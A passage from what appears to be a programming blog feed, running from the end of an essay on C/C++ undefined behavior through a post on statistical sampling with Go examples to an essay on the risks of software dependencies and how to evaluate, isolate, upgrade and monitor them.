I find the infinite loop example telling for a second reason: it shows clearly the escalation from non-portable to optimizable. In fact, it would appear that if you want to break C++ programs in service of optimization, one possible approach is to just do that in a compiler and wait for the standards committee to notice. The de facto non-portability of whatever programs you have broken can then serve as justification for undefining their behavior, leading to a future version of the standard in which your optimization is legal. In the process, programmers have been handed yet another footgun to try to avoid setting off.

(A common counterargument is that the standards committee cannot force existing implementations to change their compilers. This doesn’t hold up to scrutiny: every new feature that gets added is the standards committee forcing existing implementations to change their compilers.)

I am not claiming that anything should change about C and C++. I just want people to recognize that the current versions of these sacrifice correctness for performance. To some extent, all languages do this: there is almost always a tradeoff between performance and slower, safer implementations. Go has data races in part for performance reasons: we could have done everything by message copying or with a single global lock instead, but the performance wins of shared memory were too large to pass up. For C and C++, though, it seems no performance win is too small to trade against correctness.

As a programmer, you have a tradeoff to make too, and the language standards make it clear which side they are on. In some contexts, performance is the dominant priority and nothing else matters quite as much. If so, C or C++ may be the right tool for you. But in most contexts, the balance flips the other way. If programmer productivity, debuggability, reproducible bugs, and overall correctness and understandability are more important than squeezing every last little bit of performance, then C and C++ are not the right tools for you. I say this with some regret, as I spent many years happily writing C programs.

I have tried to avoid exaggerated, hyperbolic language in this post, instead laying out the tradeoff and the preferences revealed by the decisions being made. John Regehr wrote a less restrained series of posts about undefined behavior a decade ago, and in one of them he concluded:

It is basically evil to make certain program actions wrong, but to not give developers any way to tell whether or not their code performs these actions and, if so, where. One of C’s design points was “trust the programmer.” This is fine, but there’s trust and then there’s trust. I mean, I trust my 5 year old but I still don’t let him cross a busy street by himself. Creating a large piece of safety-critical or security-critical code in C or C++ is the programming equivalent of crossing an 8-lane freeway blindfolded.

To be fair to C and C++, if you set yourself the goal of crossing an 8-lane freeway blindfolded, it does make sense to focus on doing it as fast as you possibly can.

The Magic of Sampling, and its Limitations

2023-02-04T12:00:00-05:00

Suppose I have a large number of M&Ms and want to estimate what fraction of them have Peter’s face on them. As one does.

If I am too lazy to count them all, I can estimate the true fraction using sampling: pick N at random, count how many P have Peter’s face, and then estimate the fraction to be P/N.

I can write a Go program to pick 10 of the 37 M&Ms for me: 27 30 1 13 36 5 33 7 10 19. (Yes, I am too lazy to count them, but I was not too lazy to number the M&Ms in order to use the Go program.)

Based on this estimate, we can estimate that 3/10 = 30% of my M&Ms have Peter’s face. We can do it a few more times:

And we get a few new estimates: 30%, 40%, 20%. The actual fraction turns out to be 9/37 = 24.3%. These estimates are perhaps not that impressive, but we are only using 10 samples. With not too many more samples, we can get far more accurate estimates, even for much larger data sets. Suppose we had many more M&Ms, again 24.3% Peter faces, and we sample 100 of them, or 1,000, or 10,000. Since we’re lazy, let’s write a program to simulate the process.

$ go run sample.go
   10: 40.0% 20.0% 30.0%  0.0% 10.0% 30.0% 10.0% 20.0% 20.0%  0.0%
  100: 25.0% 26.0% 21.0% 26.0% 15.0% 25.0% 30.0% 30.0% 29.0% 20.0%
 1000: 24.7% 23.8% 21.0% 25.4% 25.1% 24.2% 25.7% 22.9% 24.0% 23.8%
10000: 23.4% 24.6% 24.3% 24.3% 24.7% 24.6% 24.6% 24.7% 24.1% 25.0%
$

Accuracy improves fairly quickly:

With 10 samples, our estimates are accurate to within about 15%.
With 100 samples, our estimates are accurate to within about 5%.
With 1,000 samples, our estimates are accurate to within about 3%.
With 10,000 samples, our estimates are accurate to within about 1%.

Because we are estimating only the percentage of Peter faces, not the total number, the accuracy (also measured in percentages) does not depend on the total number of M&Ms, only on the number of samples. So 10,000 samples is enough to get roughly 1% accuracy whether we have 100,000 M&Ms, 1 million M&Ms, or even 100 billion M&Ms! In the last scenario, we have 1% accuracy despite only sampling 0.00001% of the M&Ms.

The magic of sampling is that we can derive accurate estimates about a very large population using a relatively small number of samples.

Sampling turns many one-off estimations into jobs that are feasible to do by hand. For example, suppose we are considering revising an error-prone API and want to estimate how often that API is used incorrectly. If we have a way to randomly sample uses of the API (maybe grep -Rn pkg.Func . | shuffle -m 100), then manually checking 100 of them will give us an estimate that’s accurate to within 5% or so. And checking 1,000 of them, which may not take more than an hour or so if they’re easy to eyeball, improves the accuracy to 1.5% or so. Real data to decide an important question is usually well worth a small amount of manual effort.

For the kinds of decisions I look at related to Go, this approach comes up all the time: What fraction of for loops in real code have a loop scoping bug? What fraction of warnings by a new go vet check are false positives? What fraction of modules have no dependencies? These are drawn from my experience, and so they may seem specific to Go or to language development, but once you realize that sampling makes accurate estimates so easy to come by, all kind of uses present themselves. Any time you have a large data set,

select * from data order by random() limit 1000;

is a very effective way to get a data set you can analyze by hand and still derive many useful conclusions from.

Accuracy

Let’s work out what accuracy we should expect from these estimates. The brute force approach would be to run many samples of a given size and calculate the accuracy for each. This program runs 1,000 trials of 100 samples each, calculating the observed error for each estimate and then printing them all in sorted order. If we plot those points one after the other along the x axis, we get a picture like this:

The data viewer I’m using in this screenshot has scaled the x-axis labels by a factor of 1,000 (“x in thousands”). Eyeballing the scatterplot, we can see that half the time the error is under 3%, and 80% of the time the error is under 5½%.

We might wonder at this point whether the error depends on the actual answer (24.3% in our programs so far). It does: the error will be lower when the population is lopsided. Obviously, if the M&Ms are 0% or 100% Peter faces, our estimates will have no error at all. In a slightly less degenerate case, if the M&Ms are 1% or 99% Peter faces, the most likely estimate from just a few samples is 0% or 100%, which has only 1% error. It turns out that, in general, the error is maximized when the actual fraction is 50%, so we’ll use that for the rest of the analysis.

With an actual fraction of 50%, 1,000 sorted errors from estimating by sampling 100 values look like:

The errors are a bit larger. Now the half the time the error is 4% and 80% of the time the error is 6%. Zooming in on the tail end of the plot produces:

We can see that 90% of the trials have error 8% or less, 95% of the trials have error 10% or less, and 99% of the trials have error 12% or less. The statistical way to phrase those statements is that “a sample of size N = 100 produces a margin of error of 8% with 90% confidence, 10% with 95% confidence, and 12% with 99% confidence.”

Instead of eyeballing the graphs, we can update the program to compute these numbers directly.

$ go run sample.go
N =    10: 90%: 30.00% 95%: 30.00% 99%: 40.00%
N =   100: 90%:  9.00% 95%: 11.00% 99%: 13.00%
N =  1000: 90%:  2.70% 95%:  3.20% 99%:  4.30%
N = 10000: 90%:  0.82% 95%:  0.98% 99%:  1.24%
$

There is something meta about using sampling (of trials) to estimate the errors introduced by sampling of an actual distribution. What about the error being introduced by sampling the errors? We could instead write a program to count all possible outcomes and calculate the exact error distribution, but counting won’t work for larger sample sizes. Luckily, others have done the math for us and even implemented the relevant functions in Go’s standard math package. The margin of error for a given confidence level and sample size is:

func moe(confidence float64, N int) float64 {
    return math.Erfinv(confidence) / math.Sqrt(2 * float64(N))
}

That lets us compute the table more directly.

$ go run sample.go
N =     10: 90%: 26.01% 95%: 30.99% 99%: 40.73%
N =     20: 90%: 18.39% 95%: 21.91% 99%: 28.80%
N =     50: 90%: 11.63% 95%: 13.86% 99%: 18.21%
N =    100: 90%:  8.22% 95%:  9.80% 99%: 12.88%
N =    200: 90%:  5.82% 95%:  6.93% 99%:  9.11%
N =    500: 90%:  3.68% 95%:  4.38% 99%:  5.76%
N =   1000: 90%:  2.60% 95%:  3.10% 99%:  4.07%
N =   2000: 90%:  1.84% 95%:  2.19% 99%:  2.88%
N =   5000: 90%:  1.16% 95%:  1.39% 99%:  1.82%
N =  10000: 90%:  0.82% 95%:  0.98% 99%:  1.29%
N =  20000: 90%:  0.58% 95%:  0.69% 99%:  0.91%
N =  50000: 90%:  0.37% 95%:  0.44% 99%:  0.58%
N = 100000: 90%:  0.26% 95%:  0.31% 99%:  0.41%
$

We can also reverse the equation to compute the necessary sample size from a given confidence level and margin of error:

func N(confidence, moe float64) int {
    return int(math.Ceil(0.5 * math.Pow(math.Erfinv(confidence)/moe, 2)))
}

That lets us compute this table.

$ go run sample.go
moe = 5%:  90%:   271  95%:   385  99%:   664
moe = 2%:  90%:  1691  95%:  2401  99%:  4147
moe = 1%:  90%:  6764  95%:  9604  99%: 16588
$

Limitations

To accurately estimate the fraction of items with a given property, like M&Ms with Peter faces, each item must have the same chance of being selected, as each M&M did. Suppose instead that we had ten bags of M&Ms: nine one-pound bags with 500 M&Ms each, and a small bag containing the 37 M&Ms we used before. If we want to estimate the fraction of M&Ms with Peter faces, it would not work to sample by first picking a bag at random and then picking an M&M at random from the bag. The chance of picking any specific M&M from a one-pound bag would be 1/10 × 1/500 = 1/5,000, while the chance of picking any specific M&M from the small bag would be 1/10 × 1/37 = 1/370. We would end up with an estimate of around 9/370 = 2.4% Peter faces, even though the actual answer is 9/(9×500+37) = 0.2% Peter faces.

The problem here is not the kind of random sampling error that we computed in the previous section. Instead it is a systematic error caused by a sampling mechanism that does not align with the statistic being estimated. We could recover an accurate estimate by weighting an M&M found in the small bag as only w = 37/500 of an M&M in both the numerator and denominator of any estimate. For example, if we picked 100 M&Ms with replacement from each bag and found 24 Peter faces in the small bag, then instead of 24/1000 = 2.4% we would compute 24w/(900+100w) = 0.2%.

As a less contrived example, Go’s memory profiler aims to sample approximately one allocation per half-megabyte allocated and then derive statistics about where programs allocate memory. Roughly speaking, to do this the profiler maintains a sampling trigger, initialized to a random number between 0 and one million. Each time a new object is allocated, the profiler decrements the trigger by the size of the object. When an allocation decrements the trigger below zero, the profiler samples that allocation and then resets the trigger to a new random number between 0 and one million.

This byte-based sampling means that to estimate the fraction of bytes allocated in a given function, the profiler can divide the total sampled bytes allocated in that function divided by the total sampled bytes allocated in the entire program. Using the same approach to estimate the fraction of objects allocated in a given function would be inaccurate: it would overcount large objects and undercount small ones, because large objects are more likely to be sampled. In order to recover accurate statistics about allocation counts, the profiler applies a size-based weighting function during the calcuation, just as in the M&M example. (This is the reverse of the situation with the M&Ms: we are randomly sampling individual bytes of allocated memory but now want statistics about their “bags”.)

It is not always possible to undo skewed sampling, and the skew makes margin of error calculation more difficult too. It is almost always better to make sure that the sampling is aligned with the statistic you want to compute.

Our Software Dependency Problem

2019-01-23T11:00:00-05:00

For decades, discussion of software reuse was far more common than actual software reuse. Today, the situation is reversed: developers reuse software written by others every day, in the form of software dependencies, and the situation goes mostly unexamined.

My own background includes a decade of working with Google’s internal source code system, which treats software dependencies as a first-class concept,¹ and also developing support for dependencies in the Go programming language.²

Software dependencies carry with them serious risks that are too often overlooked. The shift to easy, fine-grained software reuse has happened so quickly that we do not yet understand the best practices for choosing and using dependencies effectively, or even for deciding when they are appropriate and when not. My purpose in writing this article is to raise awareness of the risks and encourage more investigation of solutions.

What is a dependency?

In today’s software development world, a dependency is additional code that you want to call from your program. Adding a dependency avoids repeating work already done: designing, writing, testing, debugging, and maintaining a specific unit of code. In this article we’ll call that unit of code a package; some systems use terms like library or module instead of package.

Taking on externally-written dependencies is an old practice: most programmers have at one point in their careers had to go through the steps of manually downloading and installing a required library, like C’s PCRE or zlib, or C++’s Boost or Qt, or Java’s JodaTime or JUnit. These packages contain high-quality, debugged code that required significant expertise to develop. For a program that needs the functionality provided by one of these packages, the tedious work of manually downloading, installing, and updating the package is easier than the work of redeveloping that functionality from scratch. But the high fixed costs of reuse mean that manually-reused packages tend to be big: a tiny package would be easier to reimplement.

A dependency manager (sometimes called a package manager) automates the downloading and installation of dependency packages. As dependency managers make individual packages easier to download and install, the lower fixed costs make smaller packages economical to publish and reuse.

For example, the Node.js dependency manager NPM provides access to over 750,000 packages. One of them, escape-string-regexp, provides a single function that escapes regular expression operators in its input. The entire implementation is:

var matchOperatorsRe = /[|\\{}()[\]^$+*?.]/g;

module.exports = function (str) {
    if (typeof str !== 'string') {
        throw new TypeError('Expected a string');
    }
    return str.replace(matchOperatorsRe, '\\$&');
};

Before dependency managers, publishing an eight-line code library would have been unthinkable: too much overhead for too little benefit. But NPM has driven the overhead approximately to zero, with the result that nearly-trivial functionality can be packaged and reused. In late January 2019, the escape-string-regexp package is explicitly depended upon by almost a thousand other NPM packages, not to mention all the packages developers write for their own use and don’t share.

Dependency managers now exist for essentially every programming language. Maven Central (Java), Nuget (.NET), Packagist (PHP), PyPI (Python), and RubyGems (Ruby) each host over 100,000 packages. The arrival of this kind of fine-grained, widespread software reuse is one of the most consequential shifts in software development over the past two decades. And if we’re not more careful, it will lead to serious problems.

What could go wrong?

A package, for this discussion, is code you download from the internet. Adding a package as a dependency outsources the work of developing that code—designing, writing, testing, debugging, and maintaining—to someone else on the internet, someone you often don’t know. By using that code, you are exposing your own program to all the failures and flaws in the dependency. Your program’s execution now literally depends on code downloaded from this stranger on the internet. Presented this way, it sounds incredibly unsafe. Why would anyone do this?

We do this because it’s easy, because it seems to work, because everyone else is doing it too, and, most importantly, because it seems like a natural continuation of age-old established practice. But there are important differences we’re ignoring.

Decades ago, most developers already trusted others to write software they depended on, such as operating systems and compilers. That software was bought from known sources, often with some kind of support agreement. There was still a potential for bugs or outright mischief,³ but at least we knew who we were dealing with and usually had commercial or legal recourses available.

The phenomenon of open-source software, distributed at no cost over the internet, has displaced many of those earlier software purchases. When reuse was difficult, there were fewer projects publishing reusable code packages. Even though their licenses typically disclaimed, among other things, any “implied warranties of merchantability and fitness for a particular purpose,” the projects built up well-known reputations that often factored heavily into people’s decisions about which to use. The commercial and legal support for trusting our software sources was replaced by reputational support. Many common early packages still enjoy good reputations: consider BLAS (published 1979), Netlib (1987), libjpeg (1991), LAPACK (1992), HP STL (1994), and zlib (1995).

Dependency managers have scaled this open-source code reuse model down: now, developers can share code at the granularity of individual functions of tens of lines. This is a major technical accomplishment. There are myriad available packages, and writing code can involve such a large number of them, but the commercial, legal, and reputational support mechanisms for trusting the code have not carried over. We are trusting more code with less justification for doing so.

The cost of adopting a bad dependency can be viewed as the sum, over all possible bad outcomes, of the cost of each bad outcome multiplied by its probability of happening (risk).

The context where a dependency will be used determines the cost of a bad outcome. At one end of the spectrum is a personal hobby project, where the cost of most bad outcomes is near zero: you’re just having fun, bugs have no real impact other than wasting some time, and even debugging them can be fun. So the risk probability almost doesn’t matter: it’s being multiplied by zero. At the other end of the spectrum is production software that must be maintained for years. Here, the cost of a bug in a dependency can be very high: servers may go down, sensitive data may be divulged, customers may be harmed, companies may fail. High failure costs make it much more important to estimate and then reduce any risk of a serious failure.

No matter what the expected cost, experiences with larger dependencies suggest some approaches for estimating and reducing the risks of adding a software dependency. It is likely that better tooling is needed to help reduce the costs of these approaches, much as dependency managers have focused to date on reducing the costs of download and installation.

Inspect the dependency

You would not hire a software developer you’ve never heard of and know nothing about. You would learn more about them first: check references, conduct a job interview, run background checks, and so on. Before you depend on a package you found on the internet, it is similarly prudent to learn a bit about it first.

A basic inspection can give you a sense of how likely you are to run into problems trying to use this code. If the inspection reveals likely minor problems, you can take steps to prepare for or maybe avoid them. If the inspection reveals major problems, it may be best not to use the package: maybe you’ll find a more suitable one, or maybe you need to develop one yourself. Remember that open-source packages are published by their authors in the hope that they will be useful but with no guarantee of usability or support. In the middle of a production outage, you’ll be the one debugging it. As the original GNU General Public License warned, “The entire risk as to the quality and performance of the program is with you. Should the program prove defective, you assume the cost of all necessary servicing, repair or correction.”⁴

The rest of this section outlines some considerations when inspecting a package and deciding whether to depend on it.

Design

Is package’s documentation clear? Does the API have a clear design? If the authors can explain the package’s API and its design well to you, the user, in the documentation, that increases the likelihood they have explained the implementation well to the computer, in the source code. Writing code for a clear, well-designed API is also easier, faster, and hopefully less error-prone. Have the authors documented what they expect from client code in order to make future upgrades compatible? (Examples include the C++⁵ and Go⁶ compatibility documents.)

Code Quality

Is the code well-written? Read some of it. Does it look like the authors have been careful, conscientious, and consistent? Does it look like code you’d want to debug? You may need to.

Develop your own systematic ways to check code quality. For example, something as simple as compiling a C or C++ program with important compiler warnings enabled (for example, -Wall) can give you a sense of how seriously the developers work to avoid various undefined behaviors. Recent languages like Go, Rust, and Swift use an unsafe keyword to mark code that violates the type system; look to see how much unsafe code there is. More advanced semantic tools like Infer⁷ or SpotBugs⁸ are helpful too. Linters are less helpful: you should ignore rote suggestions about topics like brace style and focus instead on semantic problems.

Keep an open mind to development practices you may not be familiar with. For example, the SQLite library ships as a single 200,000-line C source file and a single 11,000-line header, the “amalgamation.” The sheer size of these files should raise an initial red flag, but closer investigation would turn up the actual development source code, a traditional file tree with over a hundred C source files, tests, and support scripts. It turns out that the single-file distribution is built automatically from the original sources and is easier for end users, especially those without dependency managers. (The compiled code also runs faster, because the compiler can see more optimization opportunities.)

Testing

Does the code have tests? Can you run them? Do they pass? Tests establish that the code’s basic functionality is correct, and they signal that the developer is serious about keeping it correct. For example, the SQLite development tree has an incredibly thorough test suite with over 30,000 individual test cases as well as developer documentation explaining the testing strategy.⁹ On the other hand, if there are few tests or no tests, or if the tests fail, that’s a serious red flag: future changes to the package are likely to introduce regressions that could easily have been caught. If you insist on tests in code you write yourself (you do, right?), you should insist on tests in code you outsource to others.

Assuming the tests exist, run, and pass, you can gather more information by running them with run-time instrumentation like code coverage analysis, race detection,¹⁰ memory allocation checking, and memory leak detection.

Debugging

Find the package’s issue tracker. Are there many open bug reports? How long have they been open? Are there many fixed bugs? Have any bugs been fixed recently? If you see lots of open issues about what look like real bugs, especially if they have been open for a long time, that’s not a good sign. On the other hand, if the closed issues show that bugs are rarely found and promptly fixed, that’s great.

Maintenance

Look at the package’s commit history. How long has the code been actively maintained? Is it actively maintained now? Packages that have been actively maintained for an extended amount of time are more likely to continue to be maintained. How many people work on the package? Many packages are personal projects that developers create and share for fun in their spare time. Others are the result of thousands of hours of work by a group of paid developers. In general, the latter kind of package is more likely to have prompt bug fixes, steady improvements, and general upkeep.

On the other hand, some code really is “done.” For example, NPM’s escape-string-regexp, shown earlier, may never need to be modified again.

Usage

Do many other packages depend on this code? Dependency managers can often provide statistics about usage, or you can use a web search to estimate how often others write about using the package. More users should at least mean more people for whom the code works well enough, along with faster detection of new bugs. Widespread usage is also a hedge against the question of continued maintenance: if a widely-used package loses its maintainer, an interested user is likely to step forward.

For example, libraries like PCRE or Boost or JUnit are incredibly widely used. That makes it more likely—although certainly not guaranteed—that bugs you might otherwise run into have already been fixed, because others ran into them first.

Security

Will you be processing untrusted inputs with the package? If so, does it seem to be robust against malicious inputs? Does it have a history of security problems listed in the National Vulnerability Database (NVD)?¹¹

For example, when Jeff Dean and I started work on Google Code Search¹²—grep over public source code—in 2006, the popular PCRE regular expression library seemed like an obvious choice. In an early discussion with Google’s security team, however, we learned that PCRE had a history of problems like buffer overflows, especially in its parser. We could have learned the same by searching for PCRE in the NVD. That discovery didn’t immediately cause us to abandon PCRE, but it did make us think more carefully about testing and isolation.

Licensing

Is the code properly licensed? Does it have a license at all? Is the license acceptable for your project or company? A surprising fraction of projects on GitHub have no clear license. Your project or company may impose further restrictions on the allowed licenses of dependencies. For example, Google disallows the use of code licensed under AGPL-like licenses (too onerous) as well as WTFPL-like licenses (too vague).¹³

Dependencies

Does the code have dependencies of its own? Flaws in indirect dependencies are just as bad for your program as flaws in direct dependencies. Dependency managers can list all the transitive dependencies of a given package, and each of them should ideally be inspected as described in this section. A package with many dependencies incurs additional inspection work, because those same dependencies incur additional risk that needs to be evaluated.

Many developers have never looked at the full list of transitive dependencies of their code and don’t know what they depend on. For example, in March 2016 the NPM user community discovered that many popular projects—including Babel, Ember, and React—all depended indirectly on a tiny package called left-pad, consisting of a single 8-line function body. They discovered this when the author of left-pad deleted that package from NPM, inadvertently breaking most Node.js users’ builds.¹⁴ And left-pad is hardly exceptional in this regard. For example, 30% of the 750,000 packages published on NPM depend—at least indirectly—on escape-string-regexp. Adapting Leslie Lamport’s observation about distributed systems, a dependency manager can easily create a situation in which the failure of a package you didn’t even know existed can render your own code unusable.

Test the dependency

The inspection process should include running a package’s own tests. If the package passes the inspection and you decide to make your project depend on it, the next step should be to write new tests focused on the functionality needed by your application. These tests often start out as short standalone programs written to make sure you can understand the package’s API and that it does what you think it does. (If you can’t or it doesn’t, turn back now!) It is worth then taking the extra effort to turn those programs into automated tests that can be run against newer versions of the package. If you find a bug and have a potential fix, you’ll want to be able to rerun these project-specific tests easily, to make sure that the fix did not break anything else.

It is especially worth exercising the likely problem areas identified by the basic inspection. For Code Search, we knew from past experience that PCRE sometimes took a long time to execute certain regular expression searches. Our initial plan was to have separate thread pools for “simple” and “complicated” regular expression searches. One of the first tests we ran was a benchmark, comparing pcregrep with a few other grep implementations. When we found that, for one basic test case, pcregrep was 70X slower than the fastest grep available, we started to rethink our plan to use PCRE. Even though we eventually dropped PCRE entirely, that benchmark remains in our code base today.

Abstract the dependency

Depending on a package is a decision that you are likely to revisit later. Perhaps updates will take the package in a new direction. Perhaps serious security problems will be found. Perhaps a better option will come along. For all these reasons, it is worth the effort to make it easy to migrate your project to a new dependency.

If the package will be used from many places in your project’s source code, migrating to a new dependency would require making changes to all those different source locations. Worse, if the package will be exposed in your own project’s API, migrating to a new dependency would require making changes in all the code calling your API, which you might not control. To avoid these costs, it makes sense to define an interface of your own, along with a thin wrapper implementing that interface using the dependency. Note that the wrapper should include only what your project needs from the dependency, not everything the dependency offers. Ideally, that allows you to substitute a different, equally appropriate dependency later, by changing only the wrapper. Migrating your per-project tests to use the new interface tests the interface and wrapper implementation and also makes it easy to test any potential replacements for the dependency.

For Code Search, we developed an abstract Regexp class that defined the interface Code Search needed from any regular expression engine. Then we wrote a thin wrapper around PCRE implementing that interface. The indirection made it easy to test alternate libraries, and it kept us from accidentally introducing knowledge of PCRE internals into the rest of the source tree. That in turn ensured that it would be easy to switch to a different dependency if needed.

Isolate the dependency

It may also be appropriate to isolate a dependency at run-time, to limit the possible damage caused by bugs in it. For example, Google Chrome allows users to add dependencies—extension code—to the browser. When Chrome launched in 2008, it introduced the critical feature (now standard in all browsers) of isolating each extension in a sandbox running in a separate operating-system process.¹⁵ An exploitable bug in an badly-written extension therefore did not automatically have access to the entire memory of the browser itself and could be stopped from making inappropriate system calls.¹⁶ For Code Search, until we dropped PCRE entirely, our plan was to isolate at least the PCRE parser in a similar sandbox. Today, another option would be a lightweight hypervisor-based sandbox like gVisor.¹⁷ Isolating dependencies reduces the associated risks of running that code.

Even with these examples and other off-the-shelf options, run-time isolation of suspect code is still too difficult and rarely done. True isolation would require a completely memory-safe language, with no escape hatch into untyped code. That’s challenging not just in entirely unsafe languages like C and C++ but also in languages that provide restricted unsafe operations, like Java when including JNI, or like Go, Rust, and Swift when including their “unsafe” features. Even in a memory-safe language like JavaScript, code often has access to far more than it needs. In November 2018, the latest version of the NPM package event-stream, which provided a functional streaming API for JavaScript events, was discovered to contain obfuscated malicious code that had been added two and a half months earlier. The code, which harvested large Bitcoin wallets from users of the Copay mobile app, was accessing system resources entirely unrelated to processing event streams.¹⁸ One of many possible defenses to this kind of problem would be to better restrict what dependencies can access.

Avoid the dependency

If a dependency seems too risky and you can’t find a way to isolate it, the best answer may be to avoid it entirely, or at least to avoid the parts you’ve identified as most problematic.

For example, as we better understood the risks and costs associated with PCRE, our plan for Google Code Search evolved from “use PCRE directly,” to “use PCRE but sandbox the parser,” to “write a new regular expression parser but keep the PCRE execution engine,” to “write a new parser and connect it to a different, more efficient open-source execution engine.” Later we rewrote the execution engine as well, so that no dependencies were left, and we open-sourced the result: RE2.¹⁹

If you only need a tiny fraction of a dependency, it may be simplest to make a copy of what you need (preserving appropriate copyright and other legal notices, of course). You are taking on responsibility for fixing bugs, maintenance, and so on, but you’re also completely isolated from the larger risks. The Go developer community has a proverb about this: “A little copying is better than a little dependency.”²⁰

Upgrade the dependency

For a long time, the conventional wisdom about software was “if it ain’t broke, don’t fix it.” Upgrading carries a chance of introducing new bugs; without a corresponding reward—like a new feature you need—why take the risk? This analysis ignores two costs. The first is the cost of the eventual upgrade. In software, the difficulty of making code changes does not scale linearly: making ten small changes is less work and easier to get right than making one equivalent large change. The second is the cost of discovering already-fixed bugs the hard way. Especially in a security context, where known bugs are actively exploited, every day you wait is another day that attackers can break in.

For example, consider the year 2017 at Equifax, as recounted by executives in detailed congressional testimony.²¹ On March 7, a new vulnerability in Apache Struts was disclosed, and a patched version was released. On March 8, Equifax received a notice from US-CERT about the need to update any uses of Apache Struts. Equifax ran source code and network scans on March 9 and March 15, respectively; neither scan turned up a particular group of public-facing web servers. On May 13, attackers found the servers that Equifax’s security teams could not. They used the Apache Struts vulnerability to breach Equifax’s network and then steal detailed personal and financial information about 148 million people over the next two months. Equifax finally noticed the breach on July 29 and publicly disclosed it on September 4. By the end of September, Equifax’s CEO, CIO, and CSO had all resigned, and a congressional investigation was underway.

Equifax’s experience drives home the point that although dependency managers know the versions they are using at build time, you need other arrangements to track that information through your production deployment process. For the Go language, we are experimenting with automatically including a version manifest in every binary, so that deployment processes can scan binaries for dependencies that need upgrading. Go also makes that information available at run-time, so that servers can consult databases of known bugs and self-report to monitoring software when they are in need of upgrades.

Upgrading promptly is important, but upgrading means adding new code to your project, which should mean updating your evaluation of the risks of using the dependency based on the new version. As minimum, you’d want to skim the diffs showing the changes being made from the current version to the upgraded versions, or at least read the release notes, to identify the most likely areas of concern in the upgraded code. If a lot of code is changing, so that the diffs are difficult to digest, that is also information you can incorporate into your risk assessment update.

You’ll also want to re-run the tests you’ve written that are specific to your project, to make sure the upgraded package is at least as suitable for the project as the earlier version. It also makes sense to re-run the package’s own tests. If the package has its own dependencies, it is entirely possible that your project’s configuration uses different versions of those dependencies (either older or newer ones) than the package’s authors use. Running the package’s own tests can quickly identify problems specific to your configuration.

Again, upgrades should not be completely automatic. You need to verify that the upgraded versions are appropriate for your environment before deploying them.²²

If your upgrade process includes re-running the integration and qualification tests you’ve already written for the dependency, so that you are likely to identify new problems before they reach production, then, in most cases, delaying an upgrade is riskier than upgrading quickly.

The window for security-critical upgrades is especially short. In the aftermath of the Equifax breach, forensic security teams found evidence that attackers (perhaps different ones) had successfully exploited the Apache Struts vulnerability on the affected servers on March 10, only three days after it was publicly disclosed, but they’d only run a single whoami command.

Watch your dependencies

Even after all that work, you’re not done tending your dependencies. It’s important to continue to monitor them and perhaps even re-evaluate your decision to use them.

First, make sure that you keep using the specific package versions you think you are. Most dependency managers now make it easy or even automatic to record the cryptographic hash of the expected source code for a given package version and then to check that hash when re-downloading the package on another computer or in a test environment. This ensures that your build use the same dependency source code you inspected and tested. These kinds of checks prevented the event-stream attacker, described earlier, from silently inserting malicious code in the already-released version 3.3.5. Instead, the attacker had to create a new version, 3.3.6, and wait for people to upgrade (without looking closely at the changes).

It is also important to watch for new indirect dependencies creeping in: upgrades can easily introduce new packages upon which the success of your project now depends. They deserve your attention as well. In the case of event-stream, the malicious code was hidden in a different package, flatmap-stream, which the new event-stream release added as a new dependency.

Creeping dependencies can also affect the size of your project. During the development of Google’s Sawzall²³—a JIT’ed logs processing language—the authors discovered at various times that the main interpreter binary contained not just Sawzall’s JIT but also (unused) PostScript, Python, and JavaScript interpreters. Each time, the culprit turned out to be unused dependencies declared by some library Sawzall did depend on, combined with the fact that Google’s build system eliminated any manual effort needed to start using a new dependency.. This kind of error is the reason that the Go language makes importing an unused package a compile-time error.

Upgrading is a natural time to revisit the decision to use a dependency that’s changing. It’s also important to periodically revisit any dependency that isn’t changing. Does it seem plausible that there are no security problems or other bugs to fix? Has the project been abandoned? Maybe it’s time to start planning to replace that dependency.

It’s also important to recheck the security history of each dependency. For example, Apache Struts disclosed different major remote code execution vulnerabilities in 2016, 2017, and 2018. Even if you have a list of all the servers that run it and update them promptly, that track record might make you rethink using it at all.

Conclusion

Software reuse is finally here, and I don’t mean to understate its benefits: it has brought an enormously positive transformation for software developers. Even so, we’ve accepted this transformation without completely thinking through the potential consequences. The old reasons for trusting dependencies are becoming less valid at exactly the same time we have more dependencies than ever.

The kind of critical examination of specific dependencies that I outlined in this article is a significant amount of work and remains the exception rather than the rule. But I doubt there are any developers who actually make the effort to do this for every possible new dependency. I have only done a subset of them for a subset of my own dependencies. Most of the time the entirety of the decision is “let’s see what happens.” Too often, anything more than that seems like too much effort.

But the Copay and Equifax attacks are clear warnings of real problems in the way we consume software dependencies today. We should not ignore the warnings. I offer three broad recommendations.

Recognize the problem. If nothing else, I hope this article has convinced you that there is a problem here worth addressing. We need many people to focus significant effort on solving it.
Establish best practices for today. We need to establish best practices for managing dependencies using what’s available today. This means working out processes that evaluate, reduce, and track risk, from the original adoption decision through to production use. In fact, just as some engineers specialize in testing, it may be that we need engineers who specialize in managing dependencies.
Develop better dependency technology for tomorrow. Dependency managers have essentially eliminated the cost of downloading and installing a dependency. Future development effort should focus on reducing the cost of the kind of evaluation and maintenance necessary to use a dependency. For example, package discovery sites might work to find more ways to allow developers to share their findings. Build tools should, at the least, make it easy to run a package’s own tests. More aggressively, build tools and package management systems could also work together to allow package authors to test new changes against all public clients of their APIs. Languages should also provide easy ways to isolate a suspect package.

There’s a lot of good software out there. Let’s work together to find out how to reuse it safely.

References

Rachel Potvin and Josh Levenberg, “Why Google Stores Billions of Lines of Code in a Single Repository,” Communications of the ACM 59(7) (July 2016), pp. 78-87. https://doi.org/10.1145/2854146 ↩
Russ Cox, “Go & Versioning,” February 2018. https://research.swtch.com/vgo ↩
Ken Thompson, “Reflections on Trusting Trust,” Communications of the ACM 27(8) (August 1984), pp. 761–763. https://doi.org/10.1145/358198.358210 ↩
GNU Project, “GNU General Public License, version 1,” February 1989. https://www.gnu.org/licenses/old-licenses/gpl-1.0.html ↩
Titus Winters, “SD-8: Standard Library Compatibility,” C++ Standing Document, August 2018. https://isocpp.org/std/standing-documents/sd-8-standard-library-compatibility ↩
Go Project, “Go 1 and the Future of Go Programs,” September 2013. https://golang.org/doc/go1compat ↩
Facebook, “Infer: A tool to detect bugs in Java and C/C++/Objective-C code before it ships.” https://fbinfer.com/ ↩
“SpotBugs: Find bugs in Java Programs.” https://spotbugs.github.io/ ↩
D. Richard Hipp, “How SQLite is Tested.” https://www.sqlite.org/testing.html ↩
